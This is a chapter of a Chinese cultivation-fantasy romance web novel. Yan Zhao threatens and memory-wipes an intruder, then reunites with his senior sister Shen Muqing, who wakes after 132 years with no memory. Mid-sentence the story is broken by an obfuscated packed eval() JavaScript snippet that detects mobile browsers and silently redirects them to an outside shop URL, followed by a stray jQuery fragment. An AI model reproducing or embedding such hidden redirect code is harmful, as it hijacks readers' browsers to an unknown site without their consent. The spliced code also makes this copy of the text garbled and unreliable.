沈沐清本不应在这时醒来。

    那日紫电雷鸣,阎昭眼看着沈沐清决然的身影消失在云海。

    天空乌压压一片,随着道道狰狞紫电忽明忽暗。他的心,也在这一道道雷鸣中,沉入谷底。

    阎昭忘不掉沈沐清瘫软倒在自己怀里时,那剜心的疼痛。

    这百年来,他以自身精血养护沈沐清肉身,四处搜寻对方残损的神识,好不容易眼看大功快要告成……

    阎昭拦腰将失去意识的沈沐清抱起,薄如蝉翼的轻纱轻抚过他乌黑的长发,阎昭俯身将人轻轻置于云床之上,指尖抚过对方紧蹙着的眉,轻声开口:“睡吧。”

    皱起的眉头被抚平,指尖滑落,阎昭神色漠然,眼底的温柔在其起身之际褪尽,眼帘垂下又睁开,原本溢着光亮的黑瞳暗了下去。

    “是你。”

    阎昭声线平平,不带任何起伏,淡漠的脸上看不出情绪。

    阎昭寻觅四方,百余年过去,只不过寻回沈沐清一半神识。

    可偏偏是这个时候……

    “是你,扰了大师姐清梦。”

    少年的声音不似往日清亮,嗓音低沉暗哑,透着狠戾,唇角勾起露出一抹冷笑。

    阎昭并不知情沈沐清残留于混沌中,那一缕神识的所见所闻,只当是叶隋误打误撞破了他的法阵,惊醒本该还在沉睡的沈沐清。

    “该怎么处置你呢?”

    阎昭歪头作深思状。

    叶隋还没从震惊中缓过神来,他有太多疑惑,不知从何问起。

    比如,被阎昭唤做大师姐的美人是谁?沈沐清还是旁的什么人?

    倘若那人当真是大师姐沈沐清,对方又是如何在滚滚天雷下保留全身,并且活了下来?这么些年,又为何销声匿迹,隐于这小小木屋?

    可若不是,他竟不知,这世间何时多了这么一位年纪轻轻,修为归墟之上的女仙君?

    “好你个阎昭!”叶隋执剑直指阎昭,打算诈他一诈,“胆敢偷藏大师姐尸身,还不速速束手就擒,随我去师尊那认罪!”

    叶隋没将阎昭方才的话放在心上,他对自己太自信,更何况眼下阎昭身受重伤,根本不可能是他的对手。

    凌厉剑气转瞬间逼近阎昭,却又在将要靠近对方时,化作虚无。

    “呵——”

    轻笑声微不可闻,阎昭垂首轻摇头,不知是在笑叶隋的自不量力,还是在笑对方此刻惊恐万分的滑稽模样。

    阎昭胸口的那道剑伤还在往外渗着血,血液的过量流失让他本就没什么血色的皮肤更显苍白。

    “你……你……”

    叶隋险些握不住手中剑,脚下发颤,跌撞着连连往后退了好几步,随即咚的一声,竟是一时不备踩中那断掉的桌腿,然后跌坐在地。

    “你到底是谁?”

    叶隋颤声开口,因震惊瞪大的瞳孔泛着红,仔细一瞧,却是不知何时挂了水珠。

    “我?”阎昭还当真思考了一下,话音难得带了些暖意,“我当然是阎昭。”

    这可是大师姐亲自为他取的名字。

    叶隋身子抖得更厉害了,眼前之人修行分明只练气入门,却是轻松化解他拼尽全力的一剑。

    “不,你不是,你——”

    话音戛然而止,叶隋瞪大的双眼死死盯着阎昭胸前,那逐渐愈合的伤口……

    “哈,被发现了。”

    阎昭并不在意的声音响起,抬眸间,如山间鬼魅,面色阴鸷,墨黑的瞳孔泛着幽绿冷光,目光诡谲阴狠。

    “看来,只好杀了你啦。”

    少年阴恻恻的声音刚落下,不过一瞬,叶隋悬空而起,喉咙被少年瘦劲有力的大手死死捏住,发不出任何声音。

    那双手冰冷彻骨,觉不出半点活人气息。

    过度的震惊与恐惧让叶隋忘记挣扎,窒息感席卷全身,因惊恐而瞪大的瞳孔不由自主再放大,放大,然后散作一片……

    “我守着大师姐这么些年,凭什,她睁眼见着的第一人是你。”如恶魔低语般,阎昭手上的力道大了几分,“只要杀了你,就好了。”

    “杀了你,大师姐见着的第一人,便是我。”

    墨瞳深黑,如深夜寒潭,阎昭冷眼看着掌中之人,不起波澜。

    “叮铃叮铃——”

    铜铃无风而动,清脆的铃声再度响起。

    阎昭陡然松了手,悠悠开口:“罢了,杀了你,大师姐总是要同我生气的。”

    阎昭觉着太不值当。

    “哈——呼——”

    跌落在地的叶隋大口喘息,急促地呼吸着。

    “滚吧。”阎昭纤长如玉的手指在对方眉间轻点,骨节清癯,“出了这个门,便将今日所见所闻,悉数忘尽。”

    “是。”

    叶隋瞳孔大张着,眸色无光,在听到阎昭的话后,直直站起身,无意识地踏着步子,走出门外。

    *

    午时,艳阳高照,天晴明朗。

    半开的窗户透进丝丝暖意,蔷薇花香飘散,淡淡幽香清芬宜人。

    轻纱随风而动,不时拂过寒玉云床,岁月静好。

    云床之上,睡容恬静的沈沐清忽而睁开眼,淡琥珀色的瞳孔眨巴两下,然后猛然坐起身。

    那身溅了血的衣裳已被阎昭换掉,雪白薄纱穿在她身上贴合无比。

    沈沐清摊开手,垂眸间,两手张开又握紧,握紧又张开,反复几次。

    “我这是……”

    沈沐清将目光移向伏在床沿边的少年,指尖灵力汇聚蕴着浅蓝色的光芒,对准少年脆弱的神府位置。

    面容惨白的少年无所防备,头枕胳膊,呼吸清浅。长长的睫羽垂落,于眼下投出浅显阴影,仅露出的侧脸柔和,乖巧。

    “阿昭。”

    沈沐清忽而低喃一声,纤纤玉手停在少年眉间,浅蓝色光晕散去。

    “大师姐,你醒了?”

    似有所觉,少年眼眸微睁,眸若点漆,黑亮澄澈。

    “阿昭,”沈沐清垂眸望着他,声音带着讶异与不安,“我怎的什么都记不起来了?”

    微凉手指自阎昭额间抚过,轻柔温和。

    沈沐清后背浸出冷汗,就在方才,她竟然想杀了阎昭!

    为何?

    她分明,是爱他的。

    沈沐清眉头紧锁,扶额闭目,气息微乱。

    “大师姐这一觉睡得太久,忘了些事,很是正常。”

    阎昭微微仰起头,漆黑深邃的眼眸注视着她,神情专注认真。

    “我……睡了多久?”

    沈沐清迟疑出声。

    阎昭掰着手指数了数

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491541|202253||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,“一百三十二年整。”

    “一百三十二年整!”

    沈沐清瞳孔微震,下意识重复了一遍阎昭的话。

    “嗯。”阎昭点了点头,唇角轻抿,“大师姐睡了一百三十二年,昭儿便等了大师姐一百三十二年。”

    少年修长冷白的手指攀附上来,将沈沐清的手攥紧,指尖缠绕,如细羽拂面,酥酥麻麻的触感很快传遍全身。

    沈沐清不由地绷直身子,这感觉太奇怪,她过往从未体验。

    而伏在床边的少年仍旧睁着那双漆黑明亮的眸子,眼巴巴瞧着她。

    “大师姐难道就不想念昭儿?”方才还面露喜色,眼睛亮晶晶的少年眸色暗了下去,嘴角往下沉,现出好一副委屈模样,“昭儿可是日思夜想,想念大师姐得紧。”

    沈沐清耳根一热,少年直白的话语让她无从招架,胸口那颗静了许久的心脏噗通噗通地快速跳动着,先她一步地回应少年。

    “想的。”

    默了许久,沈沐清轻声应道。

    墨黑的瞳孔忽而定住,少年呼吸一滞,眸间闪过一丝异色。

    “阿昭?”

    沈沐清匆忙伸出手去,少年两颊的泪水却怎么擦也擦不净。

    帐角的铜铃又动了,叮铃声急促紧凑,像极了沈沐清此刻慌乱不知所措的心。

    “你受伤了?”

    沈沐清半倾下身子,探头凑到阎昭身前,指尖轻颤着抚上其胸口位置,眉头紧锁。

    阎昭身上并无明显外伤,但方才自己无意间灵力外溢,却一不小心探到对方心脉受损……

    而那道伤了阎昭的剑气,她很熟悉。

    “是我,是我伤了你!”

    沈沐清蓦然收回手,她能感受到自己当时剑气里所含的杀意。

    她是真的想杀死阎昭。

    “大师姐可是心疼昭儿?”

    伏在床沿边的少年直起身,双膝跪着,寻着沈沐清的手将其拉过来。

    “大师姐,昭儿疼。”

    少年眼巴巴望着她,眼神干净无辜。

    沈沐清的声音不由地放软,覆在阎昭胸口上的手动作轻柔,“我这儿有……”

    她抽回手要去乾坤囊里取灵药。

    “大师姐可是忘了?”阎昭没理由地摁住她的手,眼神期盼地接着道:“我们是爱人。”

    沈沐清不懂,这与她拿药给对方治疗,有何直接关系。

    “听闻,爱人之间,随意一个亲密举动,便能抵御世间苦痛。”

    阎昭谆谆善诱道。

    沈沐清仍是不解。

    阎昭意有所指,抬手点了点自己的唇。

    沈沐清先是一愣,等反应过来对方话里含义时,大脑轰的一下,自耳根泛起的热意延至两颊,很快遍布全身。

    阎昭本也只是逗逗沈沐清,见对方羞红了脸,唇角漾出笑意,刚想开口解释,然而下一秒,软香入怀,唇瓣轻柔相抵,只一触便匆忙离开。

    阎昭甚至还没反应过来,沈沐清已然撤身离去,而其面上的绯色还未退去。

    “如何?”

    沈沐清问得认真。

    如此止疼的方法,她以前闻所未闻,也不知阎昭从哪听来,靠不靠谱?

    阎昭低下头,忍不住笑出声。

    “嗯,不疼了。”